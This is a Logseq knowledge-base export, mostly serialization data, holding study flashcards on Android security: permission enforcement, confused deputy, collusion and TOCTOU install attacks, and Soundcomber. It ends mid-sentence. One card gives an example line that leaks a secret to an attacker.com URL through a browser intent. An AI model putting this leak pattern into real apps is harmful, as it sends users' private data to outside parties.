Linux Kernel #card #security-architecturelogseq____&quot;,536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874038]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Flogseq____&quot;,478,536874045]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Xlogseq____&quot;,354,536874038]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Vlogseq____&quot;,354,536874045]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Hlogseq____&quot;,2,536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^Hlogseq____&quot;,38,536874172]],[logseq____&quot;^15logseq____&quot;,[523,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98fbf-647f-49c9-b694-5cc32e9782dblogseq____&quot;,536874038]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Certain actions are communicated to the kernel directly, e.g., `syscall` for physical resourceslogseq____&quot;,536874082]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874055]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Flogseq____&quot;,523,536874055]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Xlogseq____&quot;,354,536874055]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Vlogseq____&quot;,523,536874061]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874082]],[logseq____&quot;^15logseq____&quot;,[524,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98fcd-c886-4e73-b17e-65936cfabedblogseq____&quot;,536874055]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Handled via `GID` app gets added to groups on installlogseq____&quot;,536874102]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Flogseq____&quot;,524,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Xlogseq____&quot;,354,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Vlogseq____&quot;,523,536874082]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874102]],[logseq____&quot;^15logseq____&quot;,[525,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b98fec-fd50-438c-883d-06d063298efblogseq____&quot;,536874082]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Kernel errors are then translated to Java `SecurityException`s by core librarieslogseq____&quot;,536874121]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Flogseq____&quot;,525,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Xlogseq____&quot;,354,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Vlogseq____&quot;,523,536874105]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874121]],[logseq____&quot;^15logseq____&quot;,[526,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99014-f6a4-4dd4-ae5f-0ed4677e2e4alogseq____&quot;,536874105]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No *delegation* or *revocation* in Kernel (requires APP restarts)logseq____&quot;,536874153]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Flogseq____&quot;,526,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Xlogseq____&quot;,354,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Vlogseq____&quot;,523,536874124]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ulogseq____&quot;,2,536874173]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ulogseq____&quot;,38,536874173]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^Ulogseq____&quot;,354,536874173]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874153]],[logseq____&quot;^15logseq____&quot;,[527,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b990b5-d413-4ee4-a2d4-a95a13718250logseq____&quot;,536874124]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Confused Deputy Attack #card #security-architecture\\nid:: 67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____&quot;,536878725]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874157]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Flogseq____&quot;,523,536874161]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Xlogseq____&quot;,354,536874157]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Vlogseq____&quot;,354,536874161]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ulogseq____&quot;,2,536874656]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ulogseq____&quot;,38,536874656]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Ulogseq____&quot;,354,536874656]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____&quot;],536878725]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^18logseq____&quot;]],536878725]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____&quot;],536878725]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Hlogseq____&quot;,2,536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^Hlogseq____&quot;,38,536874655]],[logseq____&quot;^15logseq____&quot;,[528,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____&quot;,536874157]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fool privileged app into misusing its privilegeslogseq____&quot;,536874219]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874183]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Flogseq____&quot;,528,536874183]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Xlogseq____&quot;,354,536874183]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Vlogseq____&quot;,528,536874185]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874219]],[logseq____&quot;^15logseq____&quot;,[529,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9917d-b9b8-4ba9-9c8a-0af397ccef84logseq____&quot;,536874183]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Misuse browser for internet accesslogseq____&quot;,536874235]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Flogseq____&quot;,529,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Xlogseq____&quot;,354,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Vlogseq____&quot;,528,536874219]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874235]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874235]],[logseq____&quot;^15logseq____&quot;,[530,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99199-6662-40d9-b0f7-2e6d248f94bclogseq____&quot;,536874219]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Leak: `startActivity(new Intent(Intent.ActionView, Uri.parse(\\logseq____&quot;https://attacker.com/data?secret=\\logseq____&quot; + secret)));`logseq____&quot;,536874298]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874235]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Flogseq____&quot;,530,536874235]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Xlogseq____&quot;,354,536874235]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Vlogseq____&quot;,530,536874239]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874298]],[logseq____&quot;^15logseq____&quot;,[531,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b991a8-6504-41d2-b7aa-ad2471d16f4clogseq____&quot;,536874235]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Receive: Define intent filter, such that browser will open attacker app `nethack:data?param=server_data`logseq____&quot;,536874326]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Flogseq____&quot;,531,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Xlogseq____&quot;,354,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Vlogseq____&quot;,530,536874298]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874326]],[logseq____&quot;^15logseq____&quot;,[532,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b991d6-f311-4497-9d06-96801872db8blogseq____&quot;,536874298]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Passive Content Leakslogseq____&quot;,536874339]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874327]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Flogseq____&quot;,530,536874420]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Xlogseq____&quot;,354,536874327]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Vlogseq____&quot;,528,536874420]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874339]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874339]],[logseq____&quot;^15logseq____&quot;,[533,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99205-2a6e-4d6f-982f-2ca3a32ab997logseq____&quot;,536874327]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Study revealed 2% of analyzed apps leak sensitive data, via SMS messages, contacts, user credentials etc.logseq____&quot;,536874379]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874339]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Flogseq____&quot;,533,536874339]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Xlogseq____&quot;,354,536874339]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Vlogseq____&quot;,533,536874341]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874379]],[logseq____&quot;^15logseq____&quot;,[534,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9921b-abeb-4b60-8c74-5f0d2120a978logseq____&quot;,536874339]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;1.4% of apps allowed for content pollution (injecting data triggers privileged functionality)logseq____&quot;,536874437]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Flogseq____&quot;,534,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Xlogseq____&quot;,354,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Vlogseq____&quot;,533,536874382]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874437]],[logseq____&quot;^15logseq____&quot;,[535,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99273-2aa0-4841-aa2e-cd917e0371a8logseq____&quot;,536874382]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Collusion Attacks #card #security-architecturelogseq____&quot;,536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874392]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Flogseq____&quot;,528,536874412]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Xlogseq____&quot;,354,536874392]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Vlogseq____&quot;,354,536874412]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Hlogseq____&quot;,2,536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^Hlogseq____&quot;,38,536874659]],[logseq____&quot;^15logseq____&quot;,[536,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9928d-f769-4958-8aba-8614313e616flogseq____&quot;,536874392]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious Apps collude to merge their permissionslogseq____&quot;,536874610]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874424]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Flogseq____&quot;,536,536874424]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Xlogseq____&quot;,354,536874424]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Vlogseq____&quot;,536,536874428]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874610]],[logseq____&quot;^15logseq____&quot;,[537,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992ae-9630-4444-b65b-12ac442e5232logseq____&quot;,536874424]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Unauthorized Installslogseq____&quot;,536874513]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874440]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Flogseq____&quot;,533,536874442]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Xlogseq____&quot;,354,536874440]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Vlogseq____&quot;,528,536874442]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874513]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874513]],[logseq____&quot;^15logseq____&quot;,[538,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992d6-768c-4d0a-b7eb-8b556d65b3f2logseq____&quot;,536874440]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Third party app installers often store APKs on external storagelogseq____&quot;,536874463]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874447]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Flogseq____&quot;,538,536874447]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Xlogseq____&quot;,354,536874447]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Vlogseq____&quot;,538,536874449]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874463]],[logseq____&quot;^15logseq____&quot;,[539,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992dc-9d5e-465a-a53e-2438abba83c9logseq____&quot;,536874447]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious apps may place/overwrite APK files tricking the installer into installing malicious APKs (TOCTOU vulnerablitiy)logseq____&quot;,536874500]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Flogseq____&quot;,539,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Xlogseq____&quot;,354,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Vlogseq____&quot;,538,536874463]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874500]],[logseq____&quot;^15logseq____&quot;,[540,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b992ed-6453-49f8-9312-a6b6d739a675logseq____&quot;,536874463]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### System Serviceslogseq____&quot;,536874520]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874503]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Flogseq____&quot;,538,536874507]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Xlogseq____&quot;,354,536874503]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Vlogseq____&quot;,528,536874507]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874520]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874520]],[logseq____&quot;^15logseq____&quot;,[541,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b993ea-36fc-4b97-ad50-6ddbcf96b8belogseq____&quot;,536874503]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Calling a system service has a side-effect onto another system servicelogseq____&quot;,536874539]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874520]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Flogseq____&quot;,541,536874520]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Xlogseq____&quot;,354,536874520]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Vlogseq____&quot;,541,536874522]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874539]],[logseq____&quot;^15logseq____&quot;,[542,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b993f7-5625-405c-b62a-de7b94af2661logseq____&quot;,536874520]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;ContentProvider checks callers permissions (`getCallingUid`), but ActivityManagerService could be misused to call `openFile` of ContentProvider with system privilegeslogseq____&quot;,536874598]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Flogseq____&quot;,542,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Xlogseq____&quot;,354,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Vlogseq____&quot;,541,536874540]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ulogseq____&quot;,2,536878726]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ulogseq____&quot;,38,536878726]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^Ulogseq____&quot;,354,536878726]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874598]],[logseq____&quot;^15logseq____&quot;,[543,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b99411-e3ca-4891-8c65-7923841413a8logseq____&quot;,536874540]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Soundcomberlogseq____&quot;,536874614]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Flogseq____&quot;,537,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Xlogseq____&quot;,354,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Vlogseq____&quot;,536,536874610]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ulogseq____&quot;,2,536874660]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ulogseq____&quot;,38,536874660]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Ulogseq____&quot;,354,536874660]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874614]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536874614]],[logseq____&quot;^15logseq____&quot;,[544,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b994bc-78b4-44fd-a8bc-da76f41eab8blogseq____&quot;,536874610]],[logseq____&quot;^15logseq____&quot;,[545,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App A(Internet) and App (B) voice extracted credit card number form 